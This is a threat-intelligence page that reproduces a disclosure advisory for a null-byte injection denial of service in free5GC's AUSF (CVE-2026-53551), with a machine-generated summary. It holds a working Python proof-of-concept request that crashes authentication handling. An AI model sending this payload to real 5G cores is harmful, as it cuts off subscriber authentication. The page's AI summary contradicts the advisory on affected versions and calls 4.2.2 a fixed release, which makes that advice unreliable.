free5GC AUSF: null byte injection in supiOrSuci causes HTTP 500 internal service failure (CVE-2026-53551)
### Summary The free5GC AUSF (Authentication Server Function) does not validate the `supiOrSuci` field in UE authentication requests. Null bytes (`\x00`) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's `net/url.Parse()` to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale—4.1% of `special_chars` mutations produce HTTP 500—causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation). --- ### Details The vulnerability lies in the AUSF's `POST /nausf-auth/v1/ue-authentications` handler. The JSON body includes a `supiOrSuci` field: ```json {"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"} ``` The AUSF parses this JSON (Go's `encoding/json` accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw `supiOrSuci` value: ``` GET /nudm-ueau/v1/{supiOrSuci}/security-information/... ``` When `supiOrSuci` contains null bytes (`\x00`), the resulting URL is illegal under RFC 3986. Go's `net/url.Parse()` fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body: ``` {"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}} ``` The AUSF container log shows: `net/url: invalid control character in URL`. **Attack chain:** ``` 1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...} 2. AUSF: JSON parsed OK (null bytes valid in JSON strings) 3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/... 4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986) 5. AUSF ← UDM: error 6. Attacker ← AUSF: HTTP 500 {"message": "System failure"} ``` **Contrast with C/C++ 5GCs:** The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but "only" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error—the service survives, but the denial is equally effective. **Discovery context:** Found via automated 5G SBI fuzzing. The `special_chars` mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing: | Strategy | Requests | HTTP 500s | Trigger Rate | |----------|----------|-----------|-------------| | `special_chars` | 98,304 | 4,021 | 4.1% | | `seed_replay` | 132,428 | 7,947 | 6.0% | | `grammar_aware` | 30,944 | 683 | 2.2% | 100% of HTTP 500s originated from the `POST /nausf-auth/v1/ue-authentications` endpoint. ### PoC **No configuration changes needed.** Default free5GC deployment is vulnerable. ```python #!/usr/bin/env python3 import http.client, json AUSF_HOST = "127.0.0.1" # Replace with AUSF IP (e.g. 172.24.0.50) AUSF_PORT = 8000 # Bug: null bytes in supiOrSuci → HTTP 500 body_bug = json.dumps({ "supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org", "authType": "5G_AKA" }) conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5) conn.request("POST", "/nausf-auth/v1/ue-authentications", body=body_bug, headers={"Content-Type": "application/json"}) resp = conn.getresponse() print(f"Bug: Status {resp.status}") # Returns 500 # Contrast: normal SUCI → 404 (expected, UE not found) body_normal = json.dumps({ "supiOrSuci": "imsi-208930000000031", "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org", "authType": "5G_AKA" }) conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5) conn2.request("POST", "/nausf-auth/v1/ue-authentications", body=body_normal, headers={"Content-Type": "application/json"}) resp2 = conn2.getresponse() print(f"Normal: Status {resp2.status}") # Returns 404 ``` **Run:** `python3 reproduce.py` **Expected fix (input validation + URL escaping):** ```go import "regexp" import "net/url" var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`) func validateSUCI(supiOrSuci string) error { if strings.ContainsFunc(supiOrSuci, func(r rune) bool { return r < 0x20 || r > 0x7e }) { return fmt.Errorf("SUCI contains illegal characters") } return nil } // URL-escape before constructing UDM request udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...", udmAddr, url.PathEscape(supiOrSuci)) ``` ### Impact | Property | Value | |----------|-------| | **Authentication** | None required (unauthenticated SBI endpoint) | | **Impact** | Denial of Service — AUSF returns HTTP 500 for all authentication requests during attack | | **Information Leak** | HTTP 500 response leaks internal `net/url.Parse` error, enabling backend fingerprinting | | **Affected version** | free5GC v4.2.2 (latest) | | **Fix** | Validate `supiOrSuci` before URL construction; use `url.PathEscape()` | **Environment:
AI Analysis
Technical Summary
The free5GC AUSF component does not validate the supiOrSuci field in JSON authentication requests, allowing null bytes and control characters to pass through. These characters cause the construction of illegal URLs when the AUSF calls the UDM, triggering Go's net/url.Parse() to fail with an internal error. This results in HTTP 500 responses with stack traces, enabling denial of service for all authentication requests during attack. The vulnerability affects free5GC versions prior to 4.2.2 and 1.4.5. The issue is due to missing input validation and lack of URL escaping before forwarding the supiOrSuci value. A fix is available that validates the input against illegal characters and applies URL path escaping.
Potential Impact
An unauthenticated attacker can cause denial of service by sending crafted authentication requests containing null bytes in the supiOrSuci field, causing the AUSF to return HTTP 500 errors for all authentication attempts. Additionally, the HTTP 500 responses leak internal error messages and stack traces related to Go's URL parsing failure, which may aid in backend fingerprinting. The vulnerability affects the availability of the AUSF service but does not require authentication or elevated privileges to exploit.
Mitigation Recommendations
A patch is available for free5GC that addresses this vulnerability by validating the supiOrSuci field to reject illegal characters such as null bytes and control characters, and by applying URL path escaping before constructing requests to the UDM. Users should upgrade to free5GC version 4.2.2 or later. Until patched, mitigating controls should focus on filtering or sanitizing input to the AUSF endpoint to prevent null byte injection. No configuration changes are required to reproduce the issue, so patching is the recommended remediation.
free5GC AUSF: null byte injection in supiOrSuci causes HTTP 500 internal service failure (CVE-2026-53551)
Description
### Summary The free5GC AUSF (Authentication Server Function) does not validate the `supiOrSuci` field in UE authentication requests. Null bytes (`\x00`) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's `net/url.Parse()` to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale—4.1% of `special_chars` mutations produce HTTP 500—causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation). --- ### Details The vulnerability lies in the AUSF's `POST /nausf-auth/v1/ue-authentications` handler. The JSON body includes a `supiOrSuci` field: ```json {"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"} ``` The AUSF parses this JSON (Go's `encoding/json` accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw `supiOrSuci` value: ``` GET /nudm-ueau/v1/{supiOrSuci}/security-information/... ``` When `supiOrSuci` contains null bytes (`\x00`), the resulting URL is illegal under RFC 3986. Go's `net/url.Parse()` fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body: ``` {"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}} ``` The AUSF container log shows: `net/url: invalid control character in URL`. **Attack chain:** ``` 1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...} 2. AUSF: JSON parsed OK (null bytes valid in JSON strings) 3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/... 4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986) 5. AUSF ← UDM: error 6. Attacker ← AUSF: HTTP 500 {"message": "System failure"} ``` **Contrast with C/C++ 5GCs:** The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but "only" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error—the service survives, but the denial is equally effective. **Discovery context:** Found via automated 5G SBI fuzzing. The `special_chars` mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing: | Strategy | Requests | HTTP 500s | Trigger Rate | |----------|----------|-----------|-------------| | `special_chars` | 98,304 | 4,021 | 4.1% | | `seed_replay` | 132,428 | 7,947 | 6.0% | | `grammar_aware` | 30,944 | 683 | 2.2% | 100% of HTTP 500s originated from the `POST /nausf-auth/v1/ue-authentications` endpoint. ### PoC **No configuration changes needed.** Default free5GC deployment is vulnerable. ```python #!/usr/bin/env python3 import http.client, json AUSF_HOST = "127.0.0.1" # Replace with AUSF IP (e.g. 172.24.0.50) AUSF_PORT = 8000 # Bug: null bytes in supiOrSuci → HTTP 500 body_bug = json.dumps({ "supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org", "authType": "5G_AKA" }) conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5) conn.request("POST", "/nausf-auth/v1/ue-authentications", body=body_bug, headers={"Content-Type": "application/json"}) resp = conn.getresponse() print(f"Bug: Status {resp.status}") # Returns 500 # Contrast: normal SUCI → 404 (expected, UE not found) body_normal = json.dumps({ "supiOrSuci": "imsi-208930000000031", "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org", "authType": "5G_AKA" }) conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5) conn2.request("POST", "/nausf-auth/v1/ue-authentications", body=body_normal, headers={"Content-Type": "application/json"}) resp2 = conn2.getresponse() print(f"Normal: Status {resp2.status}") # Returns 404 ``` **Run:** `python3 reproduce.py` **Expected fix (input validation + URL escaping):** ```go import "regexp" import "net/url" var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`) func validateSUCI(supiOrSuci string) error { if strings.ContainsFunc(supiOrSuci, func(r rune) bool { return r < 0x20 || r > 0x7e }) { return fmt.Errorf("SUCI contains illegal characters") } return nil } // URL-escape before constructing UDM request udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...", udmAddr, url.PathEscape(supiOrSuci)) ``` ### Impact | Property | Value | |----------|-------| | **Authentication** | None required (unauthenticated SBI endpoint) | | **Impact** | Denial of Service — AUSF returns HTTP 500 for all authentication requests during attack | | **Information Leak** | HTTP 500 response leaks internal `net/url.Parse` error, enabling backend fingerprinting | | **Affected version** | free5GC v4.2.2 (latest) | | **Fix** | Validate `supiOrSuci` before URL construction; use `url.PathEscape()` | **Environment:
CVSS v4.0
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The free5GC AUSF component does not validate the supiOrSuci field in JSON authentication requests, allowing null bytes and control characters to pass through. These characters cause the construction of illegal URLs when the AUSF calls the UDM, triggering Go's net/url.Parse() to fail with an internal error. This results in HTTP 500 responses with stack traces, enabling denial of service for all authentication requests during attack. The vulnerability affects free5GC versions prior to 4.2.2 and 1.4.5. The issue is due to missing input validation and lack of URL escaping before forwarding the supiOrSuci value. A fix is available that validates the input against illegal characters and applies URL path escaping.
Potential Impact
An unauthenticated attacker can cause denial of service by sending crafted authentication requests containing null bytes in the supiOrSuci field, causing the AUSF to return HTTP 500 errors for all authentication attempts. Additionally, the HTTP 500 responses leak internal error messages and stack traces related to Go's URL parsing failure, which may aid in backend fingerprinting. The vulnerability affects the availability of the AUSF service but does not require authentication or elevated privileges to exploit.
Mitigation Recommendations
A patch is available for free5GC that addresses this vulnerability by validating the supiOrSuci field to reject illegal characters such as null bytes and control characters, and by applying URL path escaping before constructing requests to the UDM. Users should upgrade to free5GC version 4.2.2 or later. Until patched, mitigating controls should focus on filtering or sanitizing input to the AUSF endpoint to prevent null byte injection. No configuration changes are required to reproduce the issue, so patching is the recommended remediation.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-qj55-47fp-p62j
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-53551"]
- Ecosystems
- ["Go"]
- Database Specific Severity
- MODERATE
- Cvss Version
- 4.0
Threat ID: 6a6d13adbf32cb7a3457fc6f
Added to database: 07/31/2026, 21:29:17 UTC
Last enriched: 07/31/2026, 21:35:06 UTC
Last updated: 09/10/2026, 19:36:54 UTC
Views: 75
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.